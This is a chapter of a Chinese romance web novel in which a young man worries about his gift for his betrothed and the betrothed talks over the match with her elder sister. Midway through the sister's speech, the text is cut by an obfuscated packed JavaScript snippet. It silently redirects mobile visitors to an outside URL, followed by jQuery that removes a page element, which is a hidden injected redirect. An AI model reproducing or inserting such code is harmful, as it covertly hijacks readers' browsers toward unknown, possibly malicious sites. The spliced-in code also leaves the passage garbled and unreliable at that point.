3. 珍珠粉 她,会喜欢那份礼物吗?

作品:《三寸桃枝

    将珍珠粉卸下后,谈睢拿起书册,却是怎么看也看不进脑子里。上面滞涩隐晦的字越看越像三个字——沈知微。


    叹了口气,不禁回想出发前夜,


    方散了学,正欲去打几套拳便被叔父告知,要收拾收拾,出发去见未婚妻!


    未婚妻……


    沈知微……


    那个只被阿娘提起过的名字……


    实在是来得匆忙,前脚刚知道消息,后脚便看见家中的仆人一摞一摞地抬出箱子,不到一盏茶的时间,一行人就已经整整齐齐地坐在了船上。


    初次见面,怎可空手相待?


    可谈睢又实在来不及准备礼物,叔父宽慰说一切已帮他准备好了,只待出发。兴许是看出了他的紧张,叔父特意叫了活泼的堂弟谈浮光来宽解他。


    谈浮光也不愧是子辈中心思最活络的,为了表示对堂兄婚姻大事的关切,忍痛割爱赠与谈睢一盒新得的珍珠粉,保管谈睢抱得美人归。


    可笑谈睢向来不爱涂涂抹抹,不知何故竟也道谢收下了。


    看着那盒珍珠粉,想到沈知微发现自己涂了粉,还卡粉了!


    谈睢又又一次羞红了脸,耳朵红的滴血。


    将那可恶的玉蓉粉放回盒中,本是不想再瞧见,谁知没过多久,这该死的手竟又不偏不倚地搭在那锁扣上!


    谈睢大发雷霆,一怒之下将那小玉瓶“囚”入被子中,以“五指枕”镇压!虽然半夜又被人狠狠地“掏”出来,双手轻轻握住,一起坠入甜蜜梦乡。


    却说这厢完成镇压后,谈睢躺在床上,想起谈浮光对他说的话。


    赠他珍珠粉后,谈浮光挑眉,戏谑道:“表哥,典籍史册上我不如你,可这追姑娘上,你可未必比得上我。”


    见到谈睢一副认真听讲的样子,谈浮光也不卖关子。


    “送珠宝首饰太过平淡,”拿着扇子,摇头晃脑道:“第一次见姑娘,定要留下深刻印象,再循序渐进,投其所好。”


    “比如看她喜欢什么样的男子,潇洒不羁的还是温润如玉的,总之投其所好是最最要紧的,一句话,‘她喜欢什么样,你就得什么样’,至于怎么看出来嘛,这就要多尝试了。”


    谈睢挑眉,上下扫视谈浮光,像是重新认识了这个人一样,悠悠道:“难怪你前阵子夜半爬墙扮江湖侠客,雪天扇扇子装翩翩公子,伯母还说请个道士回来瞧瞧,却不想是因着这个。”


    谈浮光眨眨眼,讪笑道:“母亲管我管太严了!她要是像对你一样对我,由着我去游学,那才舒坦呢!”


    说完又抬头看着弯月,感慨道:“情不知所起,一往而深。”


    又转身老成地用扇子敲了敲谈睢的肩膀,叹气道:“等你到了我这个年纪就懂了。”


    谈睢好笑地摇摇头,道:“那看来得回炉重造了。”


    “总之啦,表哥,你就听我的!在你这副好皮囊的加持下,又有我这个小智囊,咱俩双剑合璧,天下无敌!保管让你心仪的姑娘对你死心塌地、地久天长、长长久久、含笑九泉!”


    谈睢揉了揉谈浮光的脑袋,笑骂道:“成语没接上就算了,‘含笑九泉’是你这样用的吗?背完《龙文鞭影》,我回来抽查。”


    “别呀哥,你怎么恩将仇报呢!”


    在谈浮光控诉的眼光中,谈睢微笑着点头告别。


    说回这头,想起那迎春花簪。谈睢想:


    暗器……算是留下印象了吗?


    又想到自己特意在那簪子上刻的字,自己的心意是否昭然若揭了?


    谈睢只觉着呼吸都困难了。


    太羞耻了……


    她,会喜欢那份礼物吗?


    她,会喜欢江陵吗?


    她,会喜欢我吗?


    次日清晨,沈知微顶着两个熊猫眼敲响了叶府的门。


    “哎呀呀,这不是咱们家的沈二小姐吗?怎么有空光临寒舍呀?”


    二十出头的美妇人手执团扇点了点沈知微的额头,抱着手臂嗔笑道。


    “阿姐~大事不好啦!”沈知微扑进姐姐沈雁馨香的怀抱,一头栽进这温香软玉。


    姐妹俩磕着瓜子吃着点心躺在秋千上,荡啊荡。


    听完事情的前因后果,沈雁放下点心,评价道:“要我说,何必履行这老一辈定下的婚约,你这软柿子一样的性子,要是盲婚哑嫁的去了谈家,天高皇帝远的,要真被欺负了谁来给你撑腰?


    你说你早些年怎么不愿参加劳什子的诗会花会茶会,多认识几个青年才俊,虽说也是个嫁,好歹不用嫁这么远。”


    沈知微两根手指转了转手绢,欲言又止,吞吞吐吐道:“阿姐,我应该,也没这么好欺负吧……”


    岂止是不好欺负,我简直就是有仇必报!


    因着沈知微的母亲——兰茵,怀着沈知微时被山匪追杀,惊惧逃亡下,辗转两城,导致胎中营养不足,不足月便诞下了沈知微。


    所以沈知微小时候身娇体弱,私下里偶尔与那些小公子玩耍比赛也会被嫌弃拖后腿,年仅十岁的小娘子当然知道自己的缘故,她也不会告诉家里的人,她会加倍练习骑射,有时候常常练到黄昏日暮,练到手臂酸痛得连戴镯子也觉着不堪重负。


    或许就像沈知微说的笑话那样,如果鼻子不够挺,兴许是太多人蹬鼻子上脸了。


    在看到沈知微获得骑射一等后,渐渐的,嫌弃的声音变成了难听的诋毁,更有甚者,明着给沈知微使绊子,竟然在她骑马回城的路上挖了大坑。


    于是,她雇了四个混迹市井的乞儿,将那始作俑者用麻袋捆绑,扔在城门口挖好的坑内,再放了一壶水,不至于被饿死,然后将那些欺侮的信纸和夹杂着纸条的点心安放在坑外,任何一个企图救他上来的人都会先看到他的恶行。


    只是,刚布置好一切,又想到夫子讲的“报怨以德”,自诩有仇必报的沈小娘就有些过意不去了,最后还是把坑外的东西清扫干净,不想损了对方声誉,回去的路上又忧心坑内的人受到其他有心之人的伤害,又亲自带着小厮将那小公子救起来。


    那小公子也是被吓到了,鼻涕眼泪糊得满脸都是,挣开麻袋就是不管不顾地抱上沈知微,一顿痛哭感激。


    兴许是侠志怪传看多了,竟夸下海口,学着那书中的侠士抱拳,目光炯炯,义正言辞道,日后只要沈知微有求,他便是上刀山下火海,也要为沈知微做成一件事。只是,沈知微当然不会放在心上。


    少年人的爱恨啊就是这样直白又匆匆。


    于是,这场经历了一盏茶之久的报复终于结束。


    却说这头,沈雁眨了眨眼,似是想起了什么,支起团扇拍向沈知微的小臂,意味深长道:


    “欸,沈二小姐,对面府的秦三不是与你青梅竹马吗?那小子我瞧着虽说话是少了些,但胜在沉稳可靠,况且,长得也是仪表堂堂,唇红齿白的,配咱们二小姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108118|179879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    美眸上下扫视,抿嘴笑着说:


    “唔,尚可。”


    沈知微郁闷道:“你当谁都如你一样,青梅竹马又相互爱慕?我与那秦三也就幼时玩玩,长大了自然就各玩各的了。况且,他早有意中人了。”


    说完又神秘兮兮地转头靠近沈雁耳畔,悄声道:“就是我与你说的柳姐姐,他那位剑师父的女儿呀。”


    又用手绢掩唇笑道:


    “那个呆子,上元节的时候想邀请人家柳姐姐出去玩,恰逢院子里的丫鬟去市集采买,他就在墙外站着犹豫呀犹豫呀。你说,他那么好的功夫,翻上墙看一眼不就知道柳姐姐在不在府中?他呀怕唐突了人家,等丫鬟回来才知道柳姐姐不在府中。”


    说完,有些羡煞道:“他便在府外等,待到柳姐姐回来,见到这身高八尺的雪人,可把她心疼坏了。”


    沈知微长舒一口气,却听得身旁人也在叹气,于是趴在沈雁大腿上,说道:“阿姐,你不用担心我,我也就喜欢过这秦三顶多一炷香的时间,甚至也许都不算喜欢。


    唔,欣赏。


    如今,瞧着他和柳姐姐心意相通,我也跟着欢喜。柳姐姐善解人意,是心肠最最好不过的人。”


    沈雁伸手揉进妹妹丝绸般的秀发,顺了顺。


    思索了一会,老气横秋地悠悠道:“我才不管什么秦三赵四王五呢,那便来说咱们二小姐这火烧眉毛的事。总之呢,你与那谈睢这事吧就是你有些期待,但又害怕。”


    沈知微小鸡啄米般点点头。


    “可眼下也没有时间让你去了解这个人,既如此你又何必紧着这个人呢?”


    沈知微听的稀里糊涂,蹭的坐起来,皱了皱眉,泄气似的恶狠狠地咬下一块云片糕。


    “我的意思是,你嫁给他若夫妻和睦那自然是好,若是他冷待你,你便将自个儿当做掌柜,将他看作长工,你只需在家坐着便有钱财不断涌来,届时你拿着这钱寻个由头出城去玩又有谁敢质疑大夫人呢?


    就算你学着那些男人养个外室在邻城又有谁知道呢?


    若是他纳了妾,只要不影响你大夫人的位置又有何妨?


    各过各的不也痛快!


    若是你觉着恶心便与我们书信一封,阿姐帮着你和离了便是,想来以咱们两家的情分便是做不成亲家也不至于做成仇家。届时花点钱换个户籍到别城去,再花点心思保养打扮,谁不说你是二八年华的闺阁少女呢?


    莫说二嫁,便是三嫁也有的是人求娶。正所谓车到山前必有路,船到桥头自然直,只要你还活着,那些个问题算什么。只不过耗费时间了些罢了。”


    “阿姐不愧是阿姐,简直是握瑾怀瑜,再世孔明!”


    听完这番话,沈知微的眼睛顿时亮了,嘴里的吉祥话弹珠似的往外冒,决定以最高礼仪重赏沈小娘,“啵”的一声嘴上沈雁的侧脸。沈雁佯作嫌弃地用手绢擦了擦,抿紧了唇。


    又站起来,缓步走到秋千后面,像小时候那样,推动秋千,含笑看着妹妹的小辫子跟着风儿飘摇,


    柔声道:


    “有阿姐在,我们二小姐永远不可能走到穷巷。”


    “阿娘何时归来,若要议亲,阿娘可不能不在。”


    “快了快了,前日阿娘来信说至多三日便到,兴许就是今明两天呢。”


    “这么说你答应这门亲事了?”


    “本小姐还没想好呢!”